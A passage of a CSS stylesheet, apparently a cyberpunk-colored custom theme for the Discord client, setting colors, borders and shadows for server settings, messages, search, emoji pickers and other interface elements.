.theme-dark .lookFilled-1Gx00P.colorPrimary-3b3xI6:hover { background-color: #711c91; } .theme-dark .backButtonColor-1zIPlh { color: #ea00d9; } .theme-dark .annualDiscount-1VxngV, .theme-light .annualDiscount-1VxngV { background-color: #00ff00; color: #000b1e; } .price-1rEl-z { color: #ea00d9; background-color: #fff; } .theme-dark .backButtonColor-N09dXJ { color: #ea00d9; } .lookOutlined-3sRXeN.colorBrand-3pXr91 { color: #0abdc6; background-color: #133e7c; border: none; } .lookOutlined-3sRXeN.colorBrand-3pXr91:hover { background-color: #711c91; } /* 3.1.2. Invite friends */ .theme-dark .inviteRowName-1tVaxu { color: #0abdc6; } .lookOutlined-3sRXeN.colorGreen-29iAKY { color: #0abdc6; background-color: #133e7c; border: none; } .theme-dark .checkBoxLabel-4PWfpk, .theme-dark .footerText-2a7NxZ, .theme-dark .subText-bCySlS { color: #0abdc6; } /* 3.1.3 Server Settings */ /* 3.1.3.1 General */ .theme-dark .avatarUploader-3XDtmn .removeButton-1hcZyG { color: #ff0000; } .theme-dark .avatarUploader-3XDtmn .removeButton-1hcZyG:hover { color: #ea00d9; } .theme-dark .avatarUploaderIndicator-2G-aIZ { background-color: #0abdc6; } .lookOutlined-3sRXeN.colorWhite-rEQuAQ { color: #0abdc6; background-color: #133e7c; border: none; } .lookOutlined-3sRXeN.colorWhite-rEQuAQ:hover { background-color: #711c91; } .theme-dark .closeButton-1tv5uR { border-color: #0abdc6; } .theme-dark .closeButton-1tv5uR:hover { background-color: rgba(113, 28, 145, .7); } #app-mount > div.app-19_DXt.da-app > div > div.layers-3iHuyZ.da-layers.vertical-V37hAW.flex-1O1GKY.directionColumn-35P_nr.da-vertical.da-flex.da-directionColumn.spacer-1fA9zc.da-spacer > div:nth-child(2) > div:nth-child(3) > div > div.contentRegion-3nDuYy.da-contentRegion > div > div > div > div.toolsContainer-1edPuj.da-toolsContainer > div > div > div.closeButton-1tv5uR.da-closeButton > svg > g > path.fill { fill: #0abdc6; } .theme-dark .keybind-KpFkfr { color: #0abdc6; } .input-cIJ7To.focused-1mmYsC, .input-cIJ7To:focus { border-color: #0abdc6; } .lookGhost-2Fn_0-.colorGrey-2DXtkV { color: #0abdc6; background-color: #133e7c; } .lookGhost-2Fn_0-.colorBrand-3pXr91 { color: #0abdc6; background-color: #711c91; } .css-548n9r-singleValue { color: #0abdc6; } .css-181m2lf-menu { background-color: #000b1e; border-color: #0abdc6; } .themeDefault-24hCdX.valueChecked-m-4IJZ { background-color: #711c91; } .size-3rFEHg:after { background-color: #0abdc6; } .themeDefault-24hCdX { background-color: #133e7c; } /* 3.1.3.1.1 Region chooser */ .bda-dark .regionSelectModal-12e-57 { background: #091833; } .regionSelectModal-12e-57 .regionSelectModalHeader-21khC1 { color: #0abdc6; } .bda-dark .regionSelectModal-12e-57 .regionSelectModalOption-2DSIZ3 { background: #000b1e; border: 2px solid #133e7c; } .regionSelectModal-12e-57 .regionSelectModalFooter-20C5iA { color: #0abdc6; } /* 3.1.3.2 Registry */ #app-mount > div.app-19_DXt.da-app > div > div.layers-3iHuyZ.da-layers.vertical-V37hAW.flex-1O1GKY.directionColumn-35P_nr.da-vertical.da-flex.da-directionColumn.spacer-1fA9zc.da-spacer > div:nth-child(2) > div:nth-child(3) > div > div.contentRegion-3nDuYy.da-contentRegion > div.toolsContainer-1edPuj.da-toolsContainer > div > div > div.closeButton-1tv5uR.da-closeButton > svg > g > path.fill { fill: #0abdc6; } .theme-dark .quickSelect-3BxO0K { color: #0abdc6; } .theme-dark .popoutList-T9CKZQ { background: #091833; } #app-mount > div:nth-child(4) > div.theme-dark.popouts-2bnG9Z.da-popouts > div > div > div.scrollerWrap-2lJEkd.firefoxFixScrollFlex-cnI2ix.da-scrollerWrap.da-firefoxFixScrollFlex.scrollerThemed-2oenus.da-scrollerThemed.themeGhostHairline-DBD-2d.scrollerTrack-1ZIpsv.da-scrollerTrack > div > div.flex-1xMQg5.flex-1O1GKY.da-flex.da-flex.horizontal-1ae9ci.horizontal-2EEEnY.flex-1O1GKY.directionRow-3v3tfG.justifyStart-2NDFzi.alignCenter-1dQNNs.noWrap-3jynv6.selectableItem-1MP3MQ.da-selectableItem.selected-31soGA.da-selected { color: #0abdc6 !important; background: #711c91 !important; } #app-mount > div:nth-child(4) > div.theme-dark.popouts-2bnG9Z.da-popouts > div > div > div.scrollerWrap-2lJEkd.firefoxFixScrollFlex-cnI2ix.da-scrollerWrap.da-firefoxFixScrollFlex.scrollerThemed-2oenus.da-scrollerThemed.themeGhostHairline-DBD-2d.scrollerTrack-1ZIpsv.da-scrollerTrack > div > div.flex-1xMQg5.flex-1O1GKY.da-flex.da-flex.horizontal-1ae9ci.horizontal-2EEEnY.flex-1O1GKY.directionRow-3v3tfG.justifyStart-2NDFzi.alignCenter-1dQNNs.noWrap-3jynv6.selectableItem-1MP3MQ.da-selectableItem.selected-31soGA.da-selected > div.flex-1xMQg5.flex-1O1GKY.da-flex.da-flex.horizontal-1ae9ci.horizontal-2EEEnY.flex-1O1GKY.directionRow-3v3tfG.justifyStart-2NDFzi.alignStretch-DpGPf3.wrap-ZIn9Iy.marginReset-236NPn.da-marginReset > svg > g > polyline { stroke: #00ff00 !important; } .theme-dark .selectableItem-1MP3MQ { color: #0abdc6; } .theme-dark .selectableItem-1MP3MQ:hover { background-color: rgba(19, 62, 124, .6) } .theme-dark .popoutListEmpty-voOEBJ { color: #0abdc6; } .theme-dark .headerClickable-2IVFo9, .theme-dark .headerDefault-1wrJcN { background-color: rgba(19, 62, 124, .2); color: #0abdc6; } .theme-dark .auditLog-3jNbM6 { color: #0abdc6; border-color: rgba(19, 62, 124, .5); } .theme-dark .userHook-3AdCBF { color: #ea00d9; } .theme-dark .auditLog-3jNbM6 strong { color: #ea00d9; } .theme-dark .timestamp-1mruiI { color: rgba(10, 189, 198, .6); } .theme-dark .expandForeground-1nZ4VR { stroke: rgba(10, 189, 198, .6); } .theme-dark .headerExpanded-CUEwZ5 { background-color: rgba(0, 11, 30, .6); color: #0abdc6; } .theme-dark .changeDetails-bk98pu { background-color: rgba(0, 11, 30, .2); } .theme-dark .divider-1pnAR2 { background-color: rgba(19, 62, 124, .6); } .theme-dark .auditLog-3jNbM6:hover .expandForeground-1nZ4VR { stroke: #0abdc6; } /* 3.1.3.3 Roles & Emoji */ #app-mount > div.app-19_DXt.da-app > div > div.layers-3iHuyZ.da-layers.vertical-V37hAW.flex-1O1GKY.directionColumn-35P_nr.da-vertical.da-flex.da-directionColumn.spacer-1fA9zc.da-spacer > div:nth-child(2) > div:nth-child(3) > div > div.contentRegion-3nDuYy.da-contentRegion > div > div > div > div.contentColumn-2hrIYH.da-contentColumn.contentColumnMinimal-2iX-kP.da-contentColumnMinimal > div > div > div > div > div > div.flex-1xMQg5.flex-1O1GKY.da-flex.da-flex.horizontal-1ae9ci.horizontal-2EEEnY.flex-1O1GKY.directionRow-3v3tfG.justifyStart-2NDFzi.alignStart-H-X2h-.noWrap-3jynv6 > div.flexChild-faoVW3.da-flexChild.switchEnabled-V2WDBB.switch-3wwwcV.da-switchEnabled.da-switch.valueChecked-m-4IJZ.value-2hFrkk.sizeDefault-2YlOZr.size-3rFEHg.themeDefault-24hCdX { background-color: #711c91 !important; } .theme-dark .card-FDVird:before { background-color: rgba(19, 62, 124, .6); border-color: rgba(10, 189, 198, .6); } .theme-dark .emojiRow-zIc7ZX { -webkit-box-shadow: 0 1px 0 0 rgba(19, 62, 124, .3); box-shadow: 0 1px 0 0 rgba(19, 62, 124, .3); } .theme-dark .emojiAliasInput-1y-NBz .emojiInput-1aLNse { background-color: #091833; } /* 3.1.3.4 Webhooks */ .theme-dark .lookOutlined-3sRXeN.colorPrimary-3b3xI6 { color: #0abdc6; background-color: #133e7c; border: none; } .theme-dark .lookOutlined-3sRXeN.colorPrimary-3b3xI6:hover { background-color: #711c91; } .theme-dark .hiddenMessage-1iiFV5, .theme-dark .inputDefault-A2ud2y { color: #ea00d9; } .lookGhost-2Fn_0-.colorGrey-2DXtkV:hover { background-color: #711c91; } .lookLink-9FtZy-.colorGrey-2DXtkV { color: #ff0000; } .lookLink-9FtZy-.colorGrey-2DXtkV:hover .contents-18-Yxp { background-image: linear-gradient(0deg,transparent,transparent 1px,#ff0000 0,#ff0000 2px,transparent 0); } .theme-dark .button-2CgfFz { background-color: #133e7c; -webkit-box-shadow: 0 0 0 1px rgba(19, 62, 124, .6), 0 1px 5px 0 rgba(0,0,0,.3); box-shadow: 0 0 0 1px rgba(19, 62, 124, .6), 0 1px 5px 0 rgba(0,0,0,.3); } .theme-dark .button-2CgfFz:hover { background-color: #711c91; -webkit-box-shadow: 0 0 0 1px rgba(19, 62, 124, .6), 0 1px 5px 0 rgba(0,0,0,.3); box-shadow: 0 0 0 1px rgba(19, 62, 124, .6), 0 1px 5px 0 rgba(0,0,0,.3); } /* 3.1.3.5 Nitro Boost Status */ #app-mount > div.app-19_DXt.da-app > div > div.layers-3iHuyZ.da-layers.vertical-V37hAW.flex-1O1GKY.directionColumn-35P_nr.da-vertical.da-flex.da-directionColumn.spacer-1fA9zc.da-spacer > div:nth-child(2) > div:nth-child(3) > div > div.sidebarRegion-VFTUkN.da-sidebarRegion > div > div > div > div > div:nth-child(11) { color: #ea00d9 !important; background: none !important; } .theme-dark .background-3xPPFc { color: #000b1e; } .theme-dark .tierInProgress-3mBoXq { background-color: #133e7c; } .theme-dark .tierHeaderLocked-1a2opw { background-color: #000b1e; color: #0abdc6; } .theme-dark .tierLock-1oFMOZ { color: #133e7c; } .theme-dark .tierBody-x9kBBp { background-color: #133e7c; color: #0abdc6; } /* 3.1.3.6 Users administration*/ .theme-dark .pruneLink-3V7wes { color: #ff0000; } .theme-dark .member-1q7VfX .name-8yzEIY { color: #0abdc6; } .theme-dark .member-1q7VfX .tag-1YGWN9 { color: rgba(10, 189, 198, .6); } .itemBase-tz5SeC.danger-2dXSTE, .itemBase-tz5SeC.danger-2dXSTE:hover { color: #ff0000; } .theme-dark .member-1q7VfX .overflowIconFg-QMRRFI { fill: #0abdc6; } .checkbox-3kaeSU .checkboxInner-3yjcPe .checkboxElement-1qV33p:checked+span { background-color: #711c91; border-color: #711c91; } .checkbox-3kaeSU .checkboxInner-3yjcPe .checkboxElement-1qV33p:checked+span:after { border-color: #00ff00; } .theme-dark .actionButton-VzECiy { border-color: #0abdc6; color: #0abdc6; background: transparent; } .theme-dark .autocompleteArrow-Zxoy9H, .theme-dark .autocompleteHeaderBackground-30T70q { background-color: #000b1e; } .theme-dark .container-VSDcQc .headerText-3i6A8K { color: #0abdc6; } .theme-dark .container-VSDcQc .input-1ppKdn { color: #0abdc6; } .theme-dark .row-rrHHJU.selected-1pIgLL { background: -webkit-gradient(linear,left top,right top,from(#133e7c),to(#133e7c)); background: linear-gradient(90deg,#133e7c,#133e7c); } .theme-dark .container-VSDcQc .sectionTag-pXyto9 { background-color: #091833; color: #0abdc6; } .theme-dark .member-1q7VfX .roleWrapper-1Hde_V { color: #0abdc6; } /* 3.1.3.7 Delete server */ .cardWarning-2yPNAa { background-color: rgba(245, 120, 0, .5); border-color: rgba(245, 120, 0, .5); } .white-1VR_aZ { color: #0abdc6; } .lookFilled-1Gx00P.colorRed-1TFJan { color: #fff; background-color: #ff0000; } .lookFilled-1Gx00P.colorRed-1TFJan:hover { background-color: rgba(255,0,0,.7); } /* 3.1.4 Notification settings */ .css-mhi7q3-placeholder { color: #0abdc6; } .theme-dark .guildName-3WI6ml, .theme-dark .override-2YgiXd, .theme-dark .overrideHighlight-YPcBxt { color: rgba(10, 189, 198, .8); } /* 3.2 Tips & New messages */ .channelNotices-41mJbj .channelNotice-1-XFjC.quickswitcher-35bYg4 { background: #000b1e url(/assets/8fdb69b7684b8e1ecb3fdde909daca41.svg) no-repeat center 35px; } .channelNotices-41mJbj .channelNotice-1-XFjC .message-3SOT5P .btn-11C5_u { color: #0abdc6; background-color: #133e7c; } .channelNotices-41mJbj .channelNotice-1-XFjC .message-3SOT5P { color: #133e7c; } .bar-30k2ka { color: #0abdc6; } .unread-1xRYoj:hover { background-color: #711c91; opacity: .9; } /* 3.3 Connection */ .rtcConnectionQualityFine-2J6i8z .ping-2NgC8E { color: #00ff00; } .rtcConnectionStatusConnected-VRZDjy { color: #00ff00; } /* 3.3.1 Connection info */ .theme-dark .container-2x5lvQ .header-2C89wJ { background-color: #000b1e; } .white-3xi-nx { color: #0abdc6; } .theme-dark .container-2x5lvQ section { background-color: #091833; } .theme-dark .container-2x5lvQ section p { color: #0abdc6; } .theme-dark .container-2x5lvQ section strong { color: #ea00d9; } .theme-dark .secured-1Yihly { color: #00ff00; } .theme-dark .debugButton-1Zec0y { color: #ea00d9; } .theme-dark .item-30Gz8g { color: #0abdc6; } .theme-dark .itemValue-JNy0LV { color: rgba(10, 189, 198, .6); } /* 4. Message View */ .dividerRed-MKoLlr { color: #ea00d9; } .dividerRed-MKoLlr .dividerContent-2L12VI:after, .dividerRed-MKoLlr .dividerContent-2L12VI:before { background-color: #ea00d9; } .isUnread-3Ef-o9 { border-color: #ea00d9; } .isUnread-3Ef-o9 .content-1o0f9g { color: #ea00d9; } .unreadPill-2HyYtt { color: #091833; background-color: #ea00d9; } .unreadPillCapStroke-7rkHbg { color: #ea00d9; fill: #ea00d9; } .theme-dark .wrapper-3WhCwL { color: #ea00d9; background-color: rgba(113, 28, 145, .1); } .theme-dark .wrapperHover-1GktnT:hover { color: #ea00d9; background-color: rgba(113, 28, 145, .5); } .theme-dark .edited-DL9ECl { color: rgba(10, 189, 198, .7); } .newMessagesBar-265mhP { background-color: #133e7c; } .newMessagesBar-265mhP:hover { background-color: #711c91; } .barButtonBase-2uLO1z { color: #0abdc6; } /* 4.1. Message Buttons */ .barButtonBase-3UKlW2 { color: #0abdc6; } .jumpToPresentBar-9P20AM:hover { background: #711c91; } .newMessagesBar-mujexs { background-color: #133e7c; } .newMessagesBar-mujexs:hover { background-color: #711c91; } .hasMore-3e72_v { -webkit-box-shadow: none; box-shadow: none; color: #0abdc6; background-color: #133e7c; } .hasMore-3e72_v:hover { background-color: #711c91; } /* 4.2. Embed views */ .theme-dark .embedInner-1-fpTo { background-color: rgba(19, 62, 124, .3); border-color: rgba(19, 62, 124, .6); } .theme-dark .embedPill-1Zntps { background-color: #0abdc6; } .theme-dark .embedAuthorName-3mnTWj, .theme-dark .embedFieldName-NFrena, .theme-dark .embedTitle-3OXDkz { color: rgba(234, 0, 217, .8) !important; } .theme-dark .embedDescription-1Cuq9a, .theme-dark .embedFieldValue-nELq2s, .theme-dark .embedFooterText-28V_Wb, .theme-dark .embedProvider-3k5pfl { color: #0abdc6; } .embedProvider-3k5pfl { color: #0abdc6 !important; } .theme-dark .wrapper-35wsBm { background: rgba(0, 11, 30, .5); border-color: rgba(19, 62, 124, .8); } .theme-dark .guildName-2hvnt_ { color: #0abdc6; } .theme-dark .guildDetail-1nRKNE { color: rgba(10, 189, 198, .6); } .theme-dark .guildIconImage-3qTk45 { background-color: #133e7c; } .guildNameExpired-2Hp80V { color: #ff0000; } .theme-dark .guildIconExpired-2Qcq05 { background-color: rgba(19, 62, 124, .6); } .theme-dark .attachment-33OFj0 { border-color: rgba(19, 62, 124, .8); background-color: rgba(0, 11, 30, .5); } .metadata-3WGS0M { color: #0abdc6; } .cancelButton-3hVEV6, .downloadButton-23tKQp { color: #0abdc6; } .cancelButton-3hVEV6:hover, .downloadButton-23tKQp:hover { color: #ea00d9; } /* 4.2.1 Audio */ .theme-dark .wrapperAudio-1jDe0Q { background-color: rgba(0, 11, 30, .5); border-color: rgba(19, 62, 124, .6); } .audioMetadata-3zOuGv .metadataSize-2UOOLK { color: #0abdc6; } .audioMetadata-3zOuGv .metadataIcon-2FyCKU { color: #0abdc6; } .audioMetadata-3zOuGv .metadataIcon-2FyCKU:hover { color: #ea00d9; opacity: 1; } .audioControls-2HsaU6, .videoControls-2kcYic { background-color: rgba(19, 62, 124, .3); } .wrapper-2TxpI8 { color: #0abdc6; } .mediaBarWrapper-3D7r67, .mediaBarWrapper-3D7r67:after, .mediaBarWrapper-3D7r67:before { background-color: rgba(0, 11, 30, 1); } .mediaBarGrabber-1FqnbN, .mediaBarProgress-1xaPtl, .mediaBarProgress-1xaPtl:after, .mediaBarProgress-1xaPtl:before { background-color: #711c91; } .buffer-26XPkd, .buffer-26XPkd:after, .buffer-26XPkd:before { background-color: #0abdc6; } /* 4.3 Quotes */ .theme-dark .isMentioned-N-h9aa { background: rgba(19, 62, 124, .5); } .isMentionedCozy-3isp7y:after { background: rgba(255, 255, 0, .8); border-left: 4px solid rgba(255, 255, 0, .1); } /* 4.4. Edit & Delete */ .theme-dark .operations-36ENbA { color: rgba(10, 189, 198, .6); } .operations-36ENbA>a { color: #ea00d9; } .theme-dark .message-2qRu38 { background-color: rgba(113, 28, 145, .3); -webkit-box-shadow: 0 0 0 1px rgba(19, 62, 124, .6), 0 2px 10px 0 rgba(0,0,0,.2); box-shadow: 0 0 0 1px rgba(19, 62, 124, .6), 0 2px 10px 0 rgba(0,0,0,.2); } /* 4.5. Code */ .theme-dark .hljs-addition, .theme-dark .hljs-keyword, .theme-dark .hljs-selector-tag { color: #00ff00; } .theme-dark .hljs-doctag, .theme-dark .hljs-literal, .theme-dark .hljs-meta .hljs-meta-string, .theme-dark .hljs-number, .theme-dark .hljs-regexp, .theme-dark .hljs-string { color: #f57800; } .theme-dark .username-_4ZSMR { color: #ea00d9; } .theme-dark .hljs-attr, .theme-dark .hljs-attribute, .theme-dark .hljs-class .hljs-title, .theme-dark .hljs-template-variable, .theme-dark .hljs-type, .theme-dark .hljs-variable { color: #00ff00; } .theme-dark .hljs-bullet, .theme-dark .hljs-link, .theme-dark .hljs-meta, .theme-dark .hljs-meta .hljs-keyword, .theme-dark .hljs-selector-attr, .theme-dark .hljs-selector-pseudo, .theme-dark .hljs-subst, .theme-dark .hljs-symbol { color: #ff0000; } .theme-dark .hljs-comment, .theme-dark .hljs-quote { color: rgba(10, 189, 198, .4); } .theme-dark .blockquoteDivider-2hH8H6 { background-color: #711c91; } .blockquoteContainer-U5TVEi blockquote { background-color: #000b1e; } .theme-dark .dividerEnabled-2TTlcf { border-bottom-color: rgba(19, 62, 124, .3); } /* 4.6. Typing */ .theme-dark .base-gE7OpD span { color: #0abdc6; } /* 5. Message Box */ /* 5.1. File modal */ .uploadModal-2ifh8j { background-color: #091833; } .uploadModal-2ifh8j .inner-3nWsbo { color: #0abdc6; } .uploadModal-2ifh8j .inner-3nWsbo { border: 2px dashed #ea00d9; color: #0abdc6; } .uploadModal-2ifh8j .footer-3mqk7D { background-color: #000b1e; } .lookLink-9FtZy-.colorWhite-rEQuAQ { color: #ff0000; } .theme-dark .checked-3_4uQ9 { border-color: #0abdc6 !important; background-color: #711c91; } .theme-dark .checkbox-1ix_J3 { border-color: #133e7c !important; } .theme-brand .inner-zqa7da { background-color: #133e7c; } .theme-brand .textArea-2Spzkt { color: #0abdc6; } .lookInverted-2D7oAl.colorBrand-3pXr91 { color: #0abdc6; background-color: #133e7c; } .lookInverted-2D7oAl.colorBrand-3pXr91:hover { background-color: #711c91; } #app-mount > div:nth-child(4) > div:nth-child(2) > div.modal-3c3bKg.da-modal > div.inner-1ilYF7.da-inner > div > div.footer-3mqk7D.da-footer.hasSpoilers-1IRtQC.da-hasSpoilers > label > div.checkbox-1ix_J3.flexCenter-3_1bcw.flex-1O1GKY.justifyCenter-3D2jYp.alignCenter-1dQNNs.da-checkbox.da-flexCenter.da-flex.da-justifyCenter.da-alignCenter.box-mmYMsp.checked-3_4uQ9.da-checked > svg > g > polyline { stroke: #00ff00; } .theme-dark .uploadModal-2ifh8j { background-color: #091833; } /* 5.2. Nitro */ .theme-dark .giftBlurb-4VKZWm, .theme-dark .trialNote-wEO1RW, .theme-dark .trialText-2gR3-S { color: #0abdc6; } .theme-dark .yearlyDiscount-CT_3BQ, .theme-light .yearlyDiscount-CT_3BQ { background-color: #133e7c; color: #00ff00; } /* 5.3. Gifs */ .theme-dark .autocomplete-1vrmpx { background-color: #000b1e; } .categoryLoader-1UbzZM { background-color: #091833; } .theme-dark .container-cMG81i { background-color: #133e7c; } .theme-dark .backButton-JyKGC1 { color: #0abdc6; } .theme-dark .backButton-JyKGC1:hover { color: #ea00d9; } /* 5.4. Emojis */ .emojiPicker-3m1S-j { background-color: #000b1e !important; border: 1px solid #0abdc6; } .lightTheme-3LGLQs.container-2XeR5Z { background-color: #133e7c !important; } .lightTheme-3LGLQs .input-1Rv96N { color: #0abdc6 !important; } .lightTheme-3LGLQs .icon-3cZ1F_ { color: #0abdc6 !important; } .diversitySelector-tmmMv0 .popout-2nUePc { background: #000b1e !important; border: 1px solid #0abdc6 !important; } .diversitySelector-tmmMv0 .popout-2nUePc .item-16cXuq:hover { background-color: #133e7c; } .emojiPicker-3m1S-j .dimmer-3iH-5D.visible-3k45bQ { background-color: #000b1e !important; } .emojiPicker-3m1S-j .category-2U57w6 { color: #ea00d9; background: #000b1e !important; } .emojiPicker-3m1S-j .categories-1feg4n { border-top: 1px #133e7c !important; } .emojiPicker-3m1S-j .categories-1feg4n .item-16cXuq.selected-39BZ4S { border-bottom-color: #ea00d9; } .bda-dark #bda-qem button { background: #000b1e; border-left: 1px solid #0abdc6; box-shadow: #0abdc6 1px 0 0 0; color: #0abdc6; } .bda-dark #bda-qem button:hover { background-color: #133e7c; } .bda-dark #bda-qem button.active { background-color: #091833; } .bda-dark .emojiPicker-3m1S-j .header-1nkwgG .searchBar-2pWH0_ { background-color: #133e7c; } .bda-dark #bda-qem { border-bottom: 1px solid #0abdc6!important; background: #000b1e; } .bda-dark #bda-qem-favourite-container, .bda-dark #bda-qem-twitch-container { background-color: #000b1e; } #bda-qem button.active, #bda-qem button.active:hover { background-color: #711c91; } #bda-qem button { border-left: 1px solid #000b1e; background: #133e7c; color: #0abdc6; } #bda-qem button:hover { background: rgba(19, 62, 124, .6); } #bda-qem-twitch-container, #bda-qem-favourite-container { background-color: #000b1e; } /* 5.5. @here and @everyone warnings */ .theme-dark .contentTitle-2tG_sM { color: #0abdc6; } .theme-dark .contentTitle-2tG_sM strong { color: #ea00d9; } .theme-dark .selectorSelected-1_M1WV { background-color: #133e7c; } .theme-dark .content-Qb0rXO { color: #ea00d9; } .theme-dark .description-11DmNu, .theme-dark .descriptionUsername-J_75O8 { color: #0abdc6; } .theme-dark .descriptionDiscriminator-3vUOCc { color: rgba(10, 189, 198, .6); } .theme-dark .body-2iXqIL { color: #0abdc6; } .theme-dark .header-3_S6dz { color: #ea00d9; } .theme-dark .everyonePopout-nEbJY3 { background-color: #091833; -webkit-box-shadow: 0 2px 10px 0 rgba(10, 189, 198, .6); box-shadow: 0 2px 10px 0 rgba(10, 189, 198, .6); } .theme-dark .footer-2aTx0s { background-color: #000b1e; color: #0abdc6; fill: #0abdc6 !important; } #app-mount > div.popouts-2bnG9Z.da-popouts > div.noArrow-2foL9g.da-noArrow.noShadow-3pu20z.da-noShadow.popout-2iWAc-.da-popout.popoutTopLeft-3B0mFf > div > form > div.footer-2aTx0s.da-footer > svg > g > path { fill: #0abdc6 !important; } .theme-dark .buttonHint-2OxJB8 strong { color: #ea00d9; } .theme-dark .buttonHint-2OxJB8 { color: #0abdc6; } /* 6. Top bar */ /* 6.1. Pinned messages */ .theme-dark .header-ykumBX { background-color: #091833; } .theme-dark .messagesPopout-24nkyi { background-color: #000b1e; } .theme-dark .messagesPopoutWrap-1MQ1bW { border: 1px solid rgba(10, 189, 198,.6); } .theme-dark .messageGroupWrapper-o-Zw7G { border-color: rgba(19, 62, 124,.6); background-color: #091833; } .theme-dark .messageGroupWrapper-o-Zw7G:hover { border-color: rgba(10, 189, 198,.6); } .theme-dark .messageGroupWrapper-o-Zw7G:hover .actionButtons-1sUUug { -webkit-box-shadow: 0 0 6px 4px #000b1e; box-shadow: 0 0 6px 4px #000b1e; background-color: #000b1e; } .theme-dark .jumpButton-3DTcS_ { background-color: #133e7c; color: #0abdc6; } .theme-dark .jumpButton-3DTcS_:hover { color: #0abdc6; background-color: #711c91; } .theme-dark .header-ykumBX .title-3pkaKd { color: #0abdc6; } .theme-dark .emptyPlaceholder-1zh-Eu .body-bvcIjN { color: #0abdc6; } .theme-dark .footer-1kmXd4 { background-color: #091833; } /* 6.2. Search */ .theme-dark .container-3ayLPN { background-color: #091833; } .theme-dark .elevationBorderHigh-2WYJ09 { -webkit-box-shadow: 0 0 0 1px rgba(10, 189, 198,.6), 0 2px 10px 0 rgba(0,0,0,.2); box-shadow: 0 0 0 1px rgba(10, 189, 198,.6), 0 2px 10px 0 rgba(0,0,0,.2); } .theme-dark .resultsGroup-r_nuzN .header-2N-gMV, .theme-dark .resultsGroup-r_nuzN .plusIcon-v0BTrL, .theme-dark .resultsGroup-r_nuzN .searchClearHistory-2cSSMO, .theme-dark .resultsGroup-r_nuzN .searchLearnMore-3SQUAj a { color: #0abdc6; } .theme-dark .searchOption-zQ-1l6 .filter-3Y_im- { color: #0abdc6; } .theme-dark .searchOption-zQ-1l6 .answer-1n6g43 { color: rgba(10, 189, 198, 0.5); } .theme-dark .resultsGroup-r_nuzN .header-2N-gMV, .theme-dark .resultsGroup-r_nuzN .plusIcon-v0BTrL, .theme-dark .resultsGroup-r_nuzN .searchClearHistory-2cSSMO, .theme-dark .resultsGroup-r_nuzN .searchLearnMore-3SQUAj a { color: #0abdc6; } .theme-dark .resultsGroup-r_nuzN:hover .header-2N-gMV:hover, .theme-dark .resultsGroup-r_nuzN:hover .plusIcon-v0BTrL:hover, .theme-dark .resultsGroup-r_nuzN:hover .searchClearHistory-2cSSMO:hover, .theme-dark .resultsGroup-r_nuzN:hover .searchLearnMore-3SQUAj:hover a { color: #ea00d9; } .theme-dark .option-96V44q:after { background: none; } .theme-dark .option-96V44q .answer-1n6g43, .theme-dark .option-96V44q .nonText-3CRkO0, .theme-dark .option-96V44q strong { color: #ea00d9; } .theme-dark .option-96V44q.selected-rZcOL- { background-color: rgba(19, 62, 124, .6); } .theme-dark .option-96V44q.selected-rZcOL-:after { background: none; } .theme-dark .focused-2bY0OD { background-color: #000b1e; } .theme-dark .queryContainer-RKFJW- { color: #0abdc6; border-bottom-color: rgba(19, 62, 124,.3); } .theme-dark .queryContainer-RKFJW- strong { color: #ea00d9; } .theme-dark .option-96V44q .filter-3Y_im- { color: rgba(10, 189, 198, .7); } .theme-dark .dim-1l4L4y span { background-color: #133e7c; color: #0abdc6; } .theme-dark .keybindShortcut-1BD6Z1 span { color: #0abdc6; -webkit-box-shadow: inset 0 -4px 0 rgba(0, 11, 30,.6); box-shadow: inset 0 -4px 0 rgba(0, 11, 30,.6); border: 1px solid #091833; background-color: #133e7c; } .theme-dark .option-96V44q.user-O3Czj0 .displayedNick-3xxvzU { color: #ea00d9; } .theme-dark .option-96V44q.user-O3Czj0 .displayUsername-Qekxml { color: #711c91; } .theme-dark .searchResultChannelCategory-1l0lSn, .theme-dark .searchResultChannelIcon-1DnTme { color: #0abdc6; } .theme-dark .jumpButton-Ia2hRJ { background-color: #133e7c; color: #0abdc6; } .theme-dark .jumpButton-Ia2hRJ:hover { background-color: #711c91; color: #0abdc6; } /* 6.2.1. Search results */ .theme-dark .searchAnswer-3Dz2-q, .theme-dark .searchFilter-2ESiM3 { background-color: #000b1e; color: #0abdc6; } .theme-dark .searchHeader-1l-wpR .tab-2Ixsn0, .theme-dark .searchHeader-1l-wpR .totalResults-gxvzgw { color: #0abdc6; } .theme-dark .searchHeader-1l-wpR { background-color: #000b1e; -webkit-box-shadow: 0 1px 0 rgba(0,0,0,.2); box-shadow: 0 1px 0 rgba(0,0,0,.2); } .theme-dark .searchHeader-1l-wpR .tab-2Ixsn0.selected-16te-P, .theme-dark .searchHeader-1l-wpR .tab-2Ixsn0:hover { border-bottom: 2px solid #ea00d9; } .theme-dark .channelSeparator-1X1FuH .channelName-1QajIf { color: #0abdc6; background-color: #000b1e; } .theme-dark .channelSeparator-1X1FuH:before { border-color: #0abdc6; } .theme-dark .searchResultsWrap-2DKFzt { background-color: #000b1e; } .theme-dark .searchResult-3pzFAB .hit-NLlWXA { background-color: #091833; -webkit-box-shadow: 0 0 10px 6px #133e7c; box-shadow: 0 0 10px 6px #133e7c; } .theme-dark .searchResult-3pzFAB .searchResultMessage-2VxO12.hit-NLlWXA { border: 2px solid rgba(19, 62, 124,.6); } .theme-dark .searchResult-3pzFAB:after { background-image: -webkit-gradient(linear,left top,left bottom,from(#000b1e),to(#091833)); background-image: linear-gradient(180deg,#000b1e,#091833); } .theme-dark .searchResult-3pzFAB:before { background-image: -webkit-gradient(linear,left bottom,left top,from(#000b1e),to(#091833)); background-image: linear-gradient(0deg,#000b1e,#091833); } .theme-dark .emptyResultsWrap-3Kv0LQ, .theme-dark .errorWrap-MWdRCA { color: #0abdc6; } .theme-dark .searchResult-3pzFAB.expanded-v2Szsz .searchResultMessage-2VxO12.hit-NLlWXA { border-top: 2px solid rgba(10, 189, 198, .6); border-bottom: 2px solid rgba(10, 189, 198, .6); background-color: #133e7c; } .highlight { background: rgba(113, 28, 145, .8); } /* 6.3. Mentions */ #app-mount > div:nth-child(4) > div.popouts-2bnG9Z.da-popouts > div > div > div.header-ykumBX.da-header.header-2Kf7Yu.da-header.header-3LXPrb.da-header > div.headerTabBarWrapper-27xBDe.da-headerTabBarWrapper > div.tabBar-2UKwcE.da-tabBar.top-28JiJ- > div { color: #0abdc6 !important; } .theme-dark .mentionFilter-1PQ6ey .label-12YslM { color: rgba(10, 189, 198, .8); } .theme-dark .mentionFilter-1PQ6ey .value-2k8Drt { color: #0abdc6; } /* 7. Member list */ .theme-dark .headerNormal-T_seeN { background-color: #000b1e; } 